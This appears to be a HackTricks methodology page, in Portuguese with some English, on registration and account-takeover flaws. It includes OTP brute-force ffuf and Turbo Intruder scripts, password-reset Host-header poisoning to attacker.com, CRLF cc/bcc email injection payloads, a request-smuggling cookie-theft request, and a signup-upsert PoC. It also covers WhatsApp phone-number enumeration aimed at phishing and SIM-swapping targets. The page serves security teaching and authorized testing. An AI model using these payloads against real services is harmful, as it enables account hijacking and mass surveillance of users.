Registro & Takeover Vulnerabilities

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Registro Takeover

Registro Duplicado

  • Tente gerar usando um nome de usuário já existente
  • Teste variações do email:
  • maiúsculas
  • +1@
  • adicione algum ponto no email
  • caracteres especiais no nome do email (%00, %09, %20)
  • Coloque caracteres em branco após o email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Tente truques de canonicalização do provedor de email (dependente do serviço):
  • Gmail ignora pontos e subaddressing: victim+1@gmail.com, v.ic.tim@gmail.com entregam para victim@gmail.com
  • Alguns provedores são insensíveis a maiúsculas/minúsculas na parte local
  • Alguns provedores aceitam unicode confusables. Tente homoglyphs e soft hyphen \u00AD dentro da parte local
  • Abuse isto para: contornar checagens de unicidade, obter contas duplicadas/invites de workspace, ou bloquear registros da vítima (DoS temporário) enquanto prepara um takeover

Enumeração de nomes de usuário

Verifique se é possível descobrir quando um nome de usuário já foi registrado na aplicação.

  • Mensagens de erro diferentes ou códigos de status HTTP
  • Diferenças de tempo (usuário existente pode acionar lookup para IdP/DB)
  • Autopreenchimento do formulário de registro com dados de perfil para emails conhecidos
  • Verifique fluxos de equipe/convite: inserir um email pode revelar se uma conta existe

Política de Senha

Ao criar um usuário verifique a política de senha (veja se é possível usar senhas fracas).
Nesse caso você pode tentar bruteforce nas credenciais.

SQL Injection

Check this page para aprender como tentar account takeovers ou extrair informações via SQL Injections em formulários de registro.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Alterar Email

Quando registrado, tente alterar o email e verifique se a mudança é corretamente validada ou se é possível alterá-lo para emails arbitrários.

Mais Verificações

  • Verifique se é possível usar emails descartáveis (mailinator, yopmail, 1secmail, etc.) ou contornar a blocklist com subaddressing como victim+mailinator@gmail.com
  • Senha longa (>200) leva a DoS
  • Verifique rate limits na criação de contas
  • Use username@burp_collab.net e analise o callback
  • Se verificação por número de telefone for usada, verifique edge cases de parsing/injection de telefone

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

Mensageiros centrados em número de telefone expõem um presence oracle sempre que o cliente sincroniza contatos. Reproduzir as discovery requests do WhatsApp historicamente entregou >100M consultas por hora, permitindo enumerações de conta quase completas.

Fluxo de ataque

  1. Instrumente um cliente oficial para capturar a requisição de upload da agenda (blob autenticado de números normalizados E.164). Reproduza-a com números gerados pelo atacante enquanto reutiliza os mesmos cookies/token do dispositivo.
  2. Agrupe números por requisição: WhatsApp aceita milhares de identificadores e retorna registrado/não registrado além de metadata (business, companion, etc.). Analise as respostas offline para construir listas de alvos sem enviar mensagens às vítimas.
  3. Escale horizontalmente a enumeração com SIM banks, cloud devices, ou proxies residenciais para que o throttling por conta/IP/ASN nunca seja acionado.

Modelagem do plano de discagem

Modele o plano de discagem de cada país para pular candidatos inválidos. O dataset NDSS (country-table.*) lista códigos de país, densidade de adoção e divisão por plataforma para que você possa priorizar faixas com alta probabilidade. Código de exemplo para semear:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.

Transformando enumerações em ataques direcionados

  • Alimente o oracle com leaked phone numbers (e.g., Facebook’s 2021 breach) para descobrir quais identidades ainda estão ativas antes de phishing, SIM-swapping, ou spamming.
  • Fatie censos por país/OS/tipo de app para encontrar regiões com filtragem de SMS fraca ou alta adoção de WhatsApp Business para social engineering localizados.

Correlação de reutilização de chave pública

WhatsApp expõe a chave de identidade X25519 de cada conta durante o estabelecimento da sessão. Solicite material de identidade para cada número enumerado e deduplique as chaves públicas para revelar account farms, clientes clonados, ou firmware inseguro — chaves compartilhadas desanonimizam operações multi-SIM.

Fluxos de registro frequentemente verificam propriedade via um OTP numérico ou um token de magic-link. Falhas típicas:

  • OTP previsível ou curto (4–6 dígitos) sem limitação de taxa efetiva ou rastreamento por IP/dispositivo. Experimente tentativas paralelas e rotação de headers/IP.
  • Reutilização de OTP entre ações ou contas, ou não vinculado ao usuário/ação específicas (e.g., o mesmo código funciona para login e signup, ou funciona após o e-mail ser alterado).
  • Multi-value smuggling: alguns backends aceitam múltiplos códigos e verificam se algum corresponde. Tente:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: diferencie wrong vs expired vs wrong-user codes por status/mensagem/tamanho do body.
  • Tokens não invalidados após sucesso ou após alteração de senha/e-mail.
  • Verification token não vinculado ao user agent/IP permitindo conclusão cross-origin a partir de páginas controladas pelo atacante.

Bruteforcing example with ffuf against a JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Adivinhação paralela/concorrente para contornar bloqueios sequenciais (use Turbo Intruder no Burp):

Trecho do Turbo Intruder para inundar tentativas de OTP de 6 dígitos ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Tente racing verification: submeta o mesmo OTP válido simultaneamente em duas sessões; às vezes uma sessão se torna uma conta atacante verificada enquanto o fluxo da vítima também é bem‑sucedido.
- Teste também Host header poisoning em links de verificação (igual ao reset poisoning abaixo) para leak ou completar a verificação em um host controlado pelo atacante.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (antes da vítima se registrar)

Uma classe poderosa de problemas ocorre quando um atacante realiza ações no email da vítima antes de ela criar a conta, e depois recupera o acesso posteriormente.

Key techniques to test (adapte aos fluxos do alvo):

- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification

Dicas práticas

- Colete fluxos e endpoints de bundles web/mobile. Procure por classic signup, SSO linking, alteração de email/telefone e endpoints de password reset.
- Crie automação realista para manter sessões vivas enquanto você exercita outros fluxos.
- Para testes de SSO, levante um provedor de teste OIDC e emita tokens com claims `email` para o endereço da vítima e `email_verified=false` para verificar se o RP confia em IdPs não verificados.
- Após qualquer redefinição de senha ou alteração de email, verifique que:
- todas as outras sessões e tokens são invalidados,
- capacidades de alteração de email/telefone pendentes são canceladas,
- IdPs/emails/telefones previamente vinculados são re‑verificados.

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Token de Redefinição de Senha Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Solicite a redefinição de senha para o seu endereço de email
2. Clique no link de password reset
3. Não altere a senha
4. Clique em qualquer site 3rd party (eg: Facebook, twitter)
5. Intercepte a requisição no proxy do Burp Suite
6. Verifique se o header referer está leakando o token de password reset.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercepte a requisição de password reset no Burp Suite
2. Adicione ou edite os seguintes headers no Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Encaminhe a requisição com o header modificado\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Procure por uma URL de password reset baseada no _host header_ como : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR em parâmetros da API

  1. O atacante precisa fazer login com sua conta e ir para a funcionalidade Change password.
  2. Inicie o Burp Suite e intercepte a requisição
  3. Envie para a aba repeater e edite os parâmetros : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token fraco de password reset

O password reset token deve ser gerado aleatoriamente e ser único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.

  • Timestamp
  • UserID
  • Email do usuário
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Apenas números
  • Pequena sequência de token ( caracteres entre [A-Z,a-z,0-9])
  • Reuso de token
  • Data de expiração do token

Leaking Password Reset Token

  1. Dispare uma solicitação de password reset usando a API/UI para um email específico, ex: test@mail.com
  2. Inspecione a resposta do servidor e verifique por resetToken
  3. Então use o token em uma URL como https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. Registre-se no sistema com um username idêntico ao do alvo, mas com espaços em branco inseridos antes e/ou depois do username. ex: "admin "
  2. Solicite um password reset com seu username malicioso.
  3. Use o token enviado para seu email e redefina a senha da vítima.
  4. Conecte-se à conta da vítima com a nova senha.

A plataforma CTFd foi vulnerável a este ataque.
See: CVE-2020-7245

Tomada de conta via Cross Site Scripting

  1. Encontre um XSS dentro da aplicação ou em um subdomínio se os cookies estiverem scopped para o parent domain : *.domain.com
  2. Leak o cookie de sessão atual
  3. Autentique-se como o usuário usando o cookie

Tomada de conta via HTTP Request Smuggling

  1. Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Construa uma request que sobrescreva o POST / HTTP/1.1 com os seguintes dados:
    GET http://something.burpcollaborator.net HTTP/1.1 X: com o objetivo de open redirect as vítimas para burpcollab e roubar seus cookies\
  3. A requisição final pode se parecer com o seguinte
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Relatórios do Hackerone sobre a exploração deste bug\

Sequestro de Conta via CSRF

  1. Crie um payload para o CSRF, ex.: “HTML form with auto submit for a password change”
  2. Envie o payload

Sequestro de Conta via JWT

JSON Web Token might be used to authenticate an user.

  • Edite o JWT com outro User ID / Email
  • Verifique por assinatura JWT fraca

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Alguns signup handlers realizam um upsert quando o email fornecido já existe. Se o endpoint aceita um corpo mínimo com um email e password e não exige verificação de propriedade, enviar o email da vítima irá sobrescrever a senha dela antes da autenticação.

  • Discovery: coletar nomes de endpoints do JS empacotado (ou do tráfego do app móvel), então fuzzar caminhos base como /parents/application/v4/admin/FUZZ usando ffuf/dirsearch.
  • Method hints: um GET retornando mensagens como “Only POST request is allowed.” frequentemente indica o verbo correto e que um corpo JSON é esperado.
  • Minimal body observed in the wild:
{"email":"victim@example.com","password":"New@12345"}

Exemplo de PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impacto: Full Account Takeover (ATO) sem qualquer reset token, OTP, ou verificação de e-mail.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks